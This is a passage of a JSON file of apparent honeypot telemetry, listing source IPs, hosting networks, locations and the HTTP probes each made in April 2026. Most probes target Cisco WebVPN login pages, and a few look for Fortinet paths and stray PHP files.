      "last_seen": "2026-04-08T07:49:23.272Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.117": {
      "attack_count": 1,
      "first_seen": "2026-04-08T07:51:36.901Z",
      "last_seen": "2026-04-08T07:51:36.901Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.20.118": {
      "attack_count": 1,
      "first_seen": "2026-04-20T00:30:02.433Z",
      "last_seen": "2026-04-20T00:30:02.433Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.196.152.131": {
      "attack_count": 1,
      "first_seen": "2026-04-11T00:57:47.569Z",
      "last_seen": "2026-04-11T00:57:47.569Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.57": {
      "attack_count": 1,
      "first_seen": "2026-04-26T20:17:46.267Z",
      "last_seen": "2026-04-26T20:17:46.267Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.16": {
      "attack_count": 1,
      "first_seen": "2026-04-26T11:51:14.088Z",
      "last_seen": "2026-04-26T11:51:14.088Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.215": {
      "attack_count": 1,
      "first_seen": "2026-04-02T03:11:11.021Z",
      "last_seen": "2026-04-02T03:11:11.021Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.25": {
      "attack_count": 1,
      "first_seen": "2026-04-09T03:10:26.605Z",
      "last_seen": "2026-04-09T03:10:26.605Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.254": {
      "attack_count": 1,
      "first_seen": "2026-04-30T03:32:16.221Z",
      "last_seen": "2026-04-30T03:32:16.221Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "45.158.44.196": {
      "attack_count": 36,
      "first_seen": "2026-04-13T02:26:00.075Z",
      "last_seen": "2026-04-14T02:04:51.447Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "142.111.177.49": {
      "attack_count": 35,
      "first_seen": "2026-04-13T03:54:53.003Z",
      "last_seen": "2026-04-14T02:09:58.379Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "146.70.165.179": {
      "attack_count": 33,
      "first_seen": "2026-04-18T19:55:48.886Z",
      "last_seen": "2026-04-29T19:56:36.199Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "79.127.217.44": {
      "attack_count": 30,
      "first_seen": "2026-04-08T17:13:54.884Z",
      "last_seen": "2026-04-28T06:31:24.406Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "45.134.142.196": {
      "attack_count": 27,
      "first_seen": "2026-04-12T01:14:46.139Z",
      "last_seen": "2026-04-25T06:14:19.215Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.81.230.49": {
      "attack_count": 24,
      "first_seen": "2026-04-08T21:25:20.510Z",
      "last_seen": "2026-04-25T15:20:43.920Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.90.233": {
      "attack_count": 24,
      "first_seen": "2026-04-11T01:53:01.084Z",
      "last_seen": "2026-04-24T17:27:02.920Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.120.40.75": {
      "attack_count": 23,
      "first_seen": "2026-04-12T02:12:02.926Z",
      "last_seen": "2026-04-13T15:18:51.280Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.252.236.43": {
      "attack_count": 21,
      "first_seen": "2026-04-13T03:42:33.692Z",
      "last_seen": "2026-04-13T10:49:41.320Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "155.2.191.219": {
      "attack_count": 21,
      "first_seen": "2026-04-10T01:33:31.019Z",
      "last_seen": "2026-04-29T11:52:06.203Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.71.187": {
      "attack_count": 21,
      "first_seen": "2026-04-09T03:23:37.894Z",
      "last_seen": "2026-04-25T13:36:45.283Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.31": {
      "attack_count": 21,
      "first_seen": "2026-04-08T10:27:20.140Z",
      "last_seen": "2026-04-30T05:28:25.114Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.71": {
      "attack_count": 21,
      "first_seen": "2026-04-13T11:52:33.197Z",
      "last_seen": "2026-04-30T04:40:59.485Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.119": {
      "attack_count": 21,
      "first_seen": "2026-04-08T15:06:26.089Z",
      "last_seen": "2026-04-29T20:21:46.180Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.171.154": {
      "attack_count": 18,
      "first_seen": "2026-04-18T05:28:33.302Z",
      "last_seen": "2026-04-28T05:19:28.608Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.245": {
      "attack_count": 18,
      "first_seen": "2026-04-08T17:32:17.516Z",
      "last_seen": "2026-04-18T16:40:33.828Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.160.24.31": {
      "attack_count": 18,
      "first_seen": "2026-04-10T17:09:57.024Z",
      "last_seen": "2026-04-18T11:44:40.510Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.104.104": {
      "attack_count": 18,
      "first_seen": "2026-04-15T09:57:23.233Z",
      "last_seen": "2026-04-30T01:56:28.808Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.225": {
      "attack_count": 18,
      "first_seen": "2026-04-10T17:47:54.600Z",
      "last_seen": "2026-04-23T02:20:18.893Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.101": {
      "attack_count": 18,
      "first_seen": "2026-04-09T01:21:00.821Z",
      "last_seen": "2026-04-28T07:07:34.818Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.252.246.92": {
      "attack_count": 17,
      "first_seen": "2026-04-13T05:00:56.558Z",
      "last_seen": "2026-04-13T14:30:35.351Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.253.163": {
      "attack_count": 16,
      "first_seen": "2026-04-13T04:33:56.796Z",
      "last_seen": "2026-04-13T13:58:08.472Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "152.32.159.97": {
      "attack_count": 16,
      "first_seen": "2026-04-05T19:22:42.050Z",
      "last_seen": "2026-04-05T19:23:22.231Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "152.32.199.112": {
      "attack_count": 16,
      "first_seen": "2026-04-29T19:43:25.962Z",
      "last_seen": "2026-04-29T19:44:18.612Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "165.154.32.235": {
      "attack_count": 16,
      "first_seen": "2026-04-26T20:03:39.350Z",
      "last_seen": "2026-04-26T20:04:22.067Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "103.102.246.188": {
      "attack_count": 15,
      "first_seen": "2026-04-08T14:43:39.405Z",
      "last_seen": "2026-04-30T04:24:50.688Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.102.227": {
      "attack_count": 15,
      "first_seen": "2026-04-11T02:47:36.099Z",
      "last_seen": "2026-04-25T07:49:30.829Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.108.100": {
      "attack_count": 15,
      "first_seen": "2026-04-19T02:44:28.323Z",
      "last_seen": "2026-04-29T09:39:12.920Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.233": {
      "attack_count": 15,
      "first_seen": "2026-04-18T21:53:11.085Z",
      "last_seen": "2026-04-29T12:07:42.899Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.61": {
      "attack_count": 15,
      "first_seen": "2026-04-18T09:57:07.314Z",
      "last_seen": "2026-04-29T19:47:03.481Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.106": {
      "attack_count": 15,
      "first_seen": "2026-04-13T08:19:30.981Z",
      "last_seen": "2026-04-28T03:56:01.883Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.172": {
      "attack_count": 15,
      "first_seen": "2026-04-11T02:52:27.615Z",
      "last_seen": "2026-04-24T14:13:27.730Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.88.103.254": {
      "attack_count": 15,
      "first_seen": "2026-04-13T15:17:18.220Z",
      "last_seen": "2026-04-13T16:49:55.517Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "65.49.1.222": {
      "attack_count": 15,
      "first_seen": "2026-04-01T00:23:31.526Z",
      "last_seen": "2026-04-01T00:30:37.195Z",
      "ports": [],
      "event_types": [
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "68.235.46.182": {
      "attack_count": 15,
      "first_seen": "2026-04-09T03:26:25.312Z",
      "last_seen": "2026-04-18T12:50:39.732Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.213.193.106": {
      "attack_count": 14,
      "first_seen": "2026-04-10T17:38:45.195Z",
      "last_seen": "2026-04-25T12:26:45.388Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "146.70.166.147": {
      "attack_count": 12,
      "first_seen": "2026-04-16T05:46:06.240Z",
      "last_seen": "2026-04-25T03:39:34.690Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.137": {
      "attack_count": 12,
      "first_seen": "2026-04-09T02:34:45.543Z",
      "last_seen": "2026-04-25T15:42:24.905Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.220.101.176": {
      "attack_count": 12,
      "first_seen": "2026-04-24T09:14:42.780Z",
      "last_seen": "2026-04-24T09:15:00.948Z",
      "ports": [],
      "event_types": [
        "\"GET /.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
        "\"GET /_asterisk/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/images/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/javascript/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/lib/pqp/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /aastra/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
        "\"GET /admin/assets/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/modules/_cache/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "23.162.40.48": {
      "attack_count": 12,
      "first_seen": "2026-04-21T02:15:10.716Z",
      "last_seen": "2026-04-29T12:47:09.440Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.110.227": {
      "attack_count": 12,
      "first_seen": "2026-04-10T17:54:53.293Z",
      "last_seen": "2026-04-29T11:15:21.791Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
